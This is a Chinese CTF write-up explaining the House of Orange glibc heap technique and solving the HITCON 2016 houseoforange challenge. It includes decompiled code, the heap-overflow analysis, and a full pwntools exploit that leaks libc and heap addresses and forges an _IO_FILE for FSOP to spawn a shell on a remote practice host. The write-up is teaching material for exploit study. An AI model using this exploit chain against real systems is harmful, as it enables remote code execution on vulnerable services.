House of orange

前提

题目中不存在 free 函数或其他释放堆块的函数。

原理

House of Orange 核心就是通过漏洞利用获得 free 的效果。当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。

利用方法

1.篡改top chunk size(注意size需要对齐内存页)
2.分配比top chunk size大的chunk。
3.现在原来的top chunk进入了unsorted bin中,再次malloc就会从unsored bin中切分出需要的大小,剩余部分作新的unsorted bin。

注意:伪造top chunk size时,必须满足以下要求

1.伪造的size必须要对齐到内存页。
2.size要大于MINSIZE。
3.size要小于之后申请的chunk size + MINISIZE。
4.size的prev inuse位必须为1。
5.malloc的大小不能大于mmap分配阈值。

例题

houseoforange_hitcon_2016


保护全开,打开ida

main函数

void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{int choice; // eaxsub_1218();while ( 1 ){while ( 1 ){menu();choice = my_read(a1, a2);if ( choice != 2 )break;show();}if ( choice > 2 ){if ( choice == 3 ){edit();}else{if ( choice == 4 ){puts("give up");exit(0);}
LABEL_13:a1 = "Invalid choice";puts("Invalid choice");}}else{if ( choice != 1 )goto LABEL_13;add();}}
}

add函数

会申请三个chunk,chunk_1存放chunk_2和chunk_3的mem指针,chunk_2存放name,chunk_3存放price和color。由于num2的限制,只能使用4次add函数。

int add()
{unsigned int size; // [rsp+8h] [rbp-18h]int color; // [rsp+Ch] [rbp-14h]_QWORD *v3; // [rsp+10h] [rbp-10h]_DWORD *v4; // [rsp+18h] [rbp-8h]if ( num2 > 3u )                              // num开始为0,可利用add4次{puts("Too many house");exit(1);}v3 = malloc(0x10uLL);   //chunk_1printf("Length of name :");size = my_read();if ( size > 0x1000 )size = 0x1000;v3[1] = malloc(size);     //chunk_2if ( !v3[1] ){puts("Malloc error !!!");exit(1);}printf("Name :");my_read2((void *)v3[1], size);v4 = calloc(1uLL, 8uLL);      //chunk_3printf("Price of Orange:");*v4 = my_read();::color();printf("Color of Orange:");color = my_read();if ( color != 0xDDAA && (color <= 0 || color > 7) ){puts("No such color");exit(1);}if ( color == 0xDDAA )v4[1] = 0xDDAA;elsev4[1] = color + 30;*v3 = v4;heap_array = v3;++num2;return puts("Finish");
}

show函数

int sub_EE6()
{int v0; // eaxint v2; // eaxif ( !heap_array )return puts("No such house !");if ( *(_DWORD *)(*heap_array + 4LL) == 0xDDAA ){printf("Name of house : %s\n", (const char *)heap_array[1]);printf("Price of orange : %d\n", *(unsigned int *)*heap_array);v0 = rand();return printf("\x1B[01;38;5;214m%s\x1B[0m\n", *((const char **)&unk_203080 + v0 % 8));}else{if ( *(int *)(*heap_array + 4LL) <= 30 || *(int *)(*heap_array + 4LL) > 37 ){puts("Color corruption!");exit(1);}printf("Name of house : %s\n", (const char *)heap_array[1]);printf("Price of orange : %d\n", *(unsigned int *)*heap_array);v2 = rand();return printf("\x1B[%dm%s\x1B[0m\n", *(unsigned int *)(*heap_array + 4LL), *((const char **)&unk_203080 + v2 % 8));}
}

edit函数

存在漏洞,修改chunk时的size大小由我们自己修改,可造成堆溢出,修改下一个chunk的内容,edit函数有num作为限制,只能使用3次

int sub_107C()
{_DWORD *v1; // rbxunsigned int size; // [rsp+8h] [rbp-18h]int v3; // [rsp+Ch] [rbp-14h]if ( num > 2u )                               // num开始为0,可利用edit3次return puts("You can't upgrade more");if ( !heap_array )return puts("No such house !");printf("Length of name :");size = my_read();if ( size > 0x1000 )size = 4096;printf("Name:");                              // size由我们输入,存在溢出my_read2((void *)heap_array[1], size);printf("Price of Orange: ");v1 = (_DWORD *)*heap_array;*v1 = my_read();color();printf("Color of Orange: ");v3 = my_read();if ( v3 != 0xDDAA && (v3 <= 0 || v3 > 7) ){puts("No such color");exit(1);}if ( v3 == 0xDDAA )*(_DWORD *)(*heap_array + 4LL) = 0xDDAA;else*(_DWORD *)(*heap_array + 4LL) = v3 + 30;++num;return puts("Finish");
}

分析

程序不存在free函数,而按照我们的一般思路都是先free一个大于0x7f的chunk,进入unsortedbin,获得libc基地址,之后覆盖hook函数为system函数获得shell。而这道题不能这样做,add和edit函数的使用次数也有限制,这道题的edit函数存在堆溢出,可以考虑使用House of orange,通过修改top chunk为一个比较小的值,然后分配一个很大的chunk,使top chunk进入unsortedbin,从而泄露libc,这样heap基地址也能泄露出来,之后的话,可以使用FSOP,获得shell。

过程

先把前面的写好

# coding=utf-8
from pwn import  *context(endian='little',os='linux',arch='amd64',log_level='debug') #小端序,linux系统,64位架构,debugbinary = './houseoforange_hitcon_2016'
#sh = process(binary) #连接本地程序
sh = remote('node4.buuoj.cn',26188) #连接远程程序
elf = ELF(binary)
libc = ELF('../../libc-2.23.so--64')  #libc-2.23.so--64
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget[0] = 0x45216
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims  :sh.recvuntil(delims )
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))
#定义gdb调试函数
def dbg():gdb.attach(sh)pause()
def add(size, content, price='2', color='1'):ru("Your choice : ")sl('1')ru("Length of name :")sl(str(size))ru("Name :")sh.send(content)ru("Price of Orange:")sl(str(price))ru("Color of Orange:")    #1-7sl(str(color))def show():ru("Your choice : ")sl('2')def edit(size, content, price='2', color='1'):ru("Your choice : ")sl('3')ru("Length of name :")sl(str(size))ru("Name:")sh.send(content)ru("Price of Orange:")sl(str(price))ru("Color of Orange:")    #1-7sl(str(color))

修改top chunk

随便申请一个chunk,然后利用edit函数,溢出修改topchunk

add(0x30,'aaaa\n')
dbg()
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(2) + p32(2) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload)
dbg()


top chunk大小为0x0000000000020f81
修改后的top chunk 大小为0x0000000000000f81

申请大于top chunk的chunk,进入unsortedbin

add(0x1000, 'a\n')
dbg()

泄露libc和heap

调试可得此时我们刚刚申请的0x400chunk里存放着0x00007fe0c1216188距离libc基地址0x3c5188(0x00007fe0c1216188-0x7fe0c0e51000),该chunk里还存放着heap地址,因为printf遇到’\x00’会停止打印,所以我们将0x00007fe0c1216188改为字符串b,再将其输出

add(0x400, 'a' * 8)
show()
ru('a'*8)
libc.address = u64(ru('\x7f').ljust(8, '\x00')) - 0x3c5188
lg('libc.address',libc.address)
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']
dbg()

我们泄露出的heap为0x5617117b30e0,距离heap基地址0x5617117b30e0-0x5617117b3000=0xe0,由此可获得heap_base地址

payload = 'b' * 0x10
edit(0x10, payload)
show()
ru('b'*0x10)
heap = u64(sh.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
lg('heap_base',heap_base)
dbg()

构造fake_file

接下来我们修改当前unsortedbin中chunk的大小和内容,这里FSOP还不太明白,先借用一下大佬写的解释

malloc时,对unsorted bin进行判断,此时该chunk的size为0x60,不满足要求,就把该chunk放入small bin,并且向bk->fd写入main_arena+0x58,即向_IO_list_all写入main_arena+0x58,此时判断下一个unsorted bin(_IO_list_all),而这里实际上没有chunk,此时会触发错误,此时第一个_IO_FILE_plus结构体为main_arena+0x58,而它不满足条件,就通过_chain调到下一个_IO_FILE_plus结构体,_chain位于0x68偏移的地方,main_arena+0x58+0x68=main_arena+0xc0,就是small bin中0x60大小的地方,这就回到了我们伪造的_IO_FILE_plus结构体

dbg()
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(2) + p32(1) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload)
dbg()

修改前

修改后

之后我们再调用add函数,调用malloc函数,就可以产生错误信息,改变程序执行流程,获得shell

ru("Your choice : ")
sl('1')
itr()

exp

# coding=utf-8
from pwn import  *context(endian='little',os='linux',arch='amd64',log_level='debug') #小端序,linux系统,64位架构,debugbinary = './houseoforange_hitcon_2016'
#sh = process(binary) #连接本地程序
sh = remote('node4.buuoj.cn',26188) #连接远程程序
elf = ELF(binary)
libc = ELF('../../libc-2.23.so--64')  #libc-2.23.so--64
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget[0] = 0x45216
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims  :sh.recvuntil(delims )
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))
#定义gdb调试函数
def dbg():gdb.attach(sh)pause()
def add(size, content, price='2', color='1'):ru("Your choice : ")sl('1')ru("Length of name :")sl(str(size))ru("Name :")sh.send(content)ru("Price of Orange:")sl(str(price))ru("Color of Orange:")    #1-7sl(str(color))def show():ru("Your choice : ")sl('2')def edit(size, content, price='2', color='1'):ru("Your choice : ")sl('3')ru("Length of name :")sl(str(size))ru("Name:")sh.send(content)ru("Price of Orange:")sl(str(price))ru("Color of Orange:")    #1-7sl(str(color))add(0x30,'aaaa\n')
#dbg()
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(2) + p32(1) + p64(0) * 2 + p64(0xf81)edit(len(payload), payload)
#dbg()
add(0x1000, 'a\n')
#dbg()
add(0x400, 'a' * 8)
#dbg()
show()
ru('a'*8)
libc.address = u64(ru('\x7f').ljust(8, '\x00')) - 0x3c5188
lg('libc.address',libc.address)io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']payload = 'b' * 0x10edit(0x10, payload)show()
ru('b'*0x10)
heap = u64(sh.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
lg('heap_base',heap_base)
#dbg()payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(2) + p32(1) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload)
#dbg()ru("Your choice : ")
sl('1')itr()

可能因为本地环境没配好,打不通,在buu上远程可以打通

参考文章
houseoforange_hitcon_2016
houseoforange_hitcon_2016

House of orange相关推荐

  1. 【orange】【转】orange使用

    http://blog.csdn.net/yiweis/article/category/1315006 Orange数据格式 数据挖掘工具Orange除了支持C4.5等格式外,还有自己的数据格式. ...

  2. android ui自动化测试工具,介绍Robotium+Orange实现androidUI自动化测试

    4.如何运行测试程序 orange框架会生成一个jar包,当你配置好这些选项后,并且拿到了orange.jar后,直接运行命令 java -jar Orange.jar D: \\config.pro ...

  3. Orange Business Services中国:如何保证实施最佳安全运营中心

    这篇文章来自Orange Business Services中国区CTO刘昕.里面说到:SOC的主要目的是为了让用户免受来自网络方面的各种威胁,其建设并不应该理解为单一产品或者一些安全产品的集合,SO ...

  4. orange软件_Orange和戴尔技术公司合作 联合测试和开发5G和商业模式

    戴尔技术公司(Dell Technologies)已与电信供应商Orange合作,共同开发边缘计算和加速技术(edge computing and accelerator Technologies)旗 ...

  5. Orange Business Services 助力汽车制造商宝沃构建数字化基础架构

    Flexible Engine 公共云平台将支持宝沃汽车在中东的业务拓展 Orange Business Services 日前宣布其 Flexible Engine 公共云平台被宝沃汽车集团(BOR ...

  6. PHP面试题:请以空格作为间隔,拆分字符串’Apple Orange Banana Strawberry’,组成数组$fruit,

    * 数组中所有元素都用小写字母,并按照字母先后次序排序 class sort { private $str; public function __construct($str) { $this-> ...

  7. 《Orange’s 一个操作系统的实现》3.保护模式3----DOS加载.EXE过程

    在<<Orange's 一个操作系统的实现>>一书中有时使用了org 0100h,为何是0100h?因为书中的例子是为了突破引导扇区512字节的限制, 而将asm文件编译为.c ...

  8. 《Orange’s 一个操作系统的实现》3.保护模式7-特权级转移(通过调用门转移目标段-无特权级转换)...

    在上次的代码基础上,添加一个代码段作为通过调用门转移的目标段.了解一下调用的工作方法,代码分析如下: <<红色标识部分为新增代码>> ; =================== ...

  9. 【CodeForces - 244A 】Dividing Orange (构造,水题)

    题干: One day Ms Swan bought an orange in a shop. The orange consisted of n·k segments, numbered with ...

  10. Orange——The Data

    The Data 这个部分描述的是怎样在Orange上加载数据.我们也将展示如何探索数据,发现一些基本统计特性,怎么数据取样. Data Input Orange可以读取本机以制表符分隔的格式的文件, ...

最新文章

  1. CF思维联系–CodeForces-217C C. Formurosa(这题鸽了)
  2. java.net.sockettimeoutexception read timed out
  3. java弹弹球实验报告_Java弹球游戏实验报告—chen
  4. python之scrapy爬取jd和qq招聘信息
  5. CALL SYMPUT与CALL SYMPUTX区别
  6. 【HDU - 6290】 奢侈的旅行 (对题目预处理 + DIjkstra最短路)
  7. Javascript日期函数使用需要注意地方
  8. C 语言实例 - 约瑟夫生者死者小游戏
  9. python api测试框架_python api 测试框架
  10. IOS绘制渐变背景色折线图的一种尝试
  11. Nginx安装负载均衡配置 fair check扩展
  12. mybatis+oracle实现简单的模糊查询
  13. 解决办法:error: unknown type name ‘__int64‘
  14. link st 量产工具_STM32 ST-LINK Utility介绍、下载、安装、使用方法
  15. 几种反函数和差角公式的推导
  16. Linux终端默认配色方案
  17. 程序员界之行业求职黑名单!实用!
  18. Vulhub-coldfusion--CVE-2017-3066
  19. 职业规划(一)怎么写简历
  20. Fly-小学妹都喜欢的Go后端项目

热门文章

  1. GEE:变异系数法在遥感影像分析中的应用及权重计算
  2. 《网络攻防实践》第四周作业
  3. curses编程(一)初识
  4. 蓝牙路由器解决方案行业应用
  5. 12C创建用户问题 ORA-65096
  6. createCriteria的用法
  7. React.createElement使用
  8. 丁酉新年假期江门,甘孜旅行手记
  9. 美通企业日报 | 中国最佳创新公司50名榜单发布;柯锐世全新亚洲总部在上海启用...
  10. 了解一下,Android 10 Build系统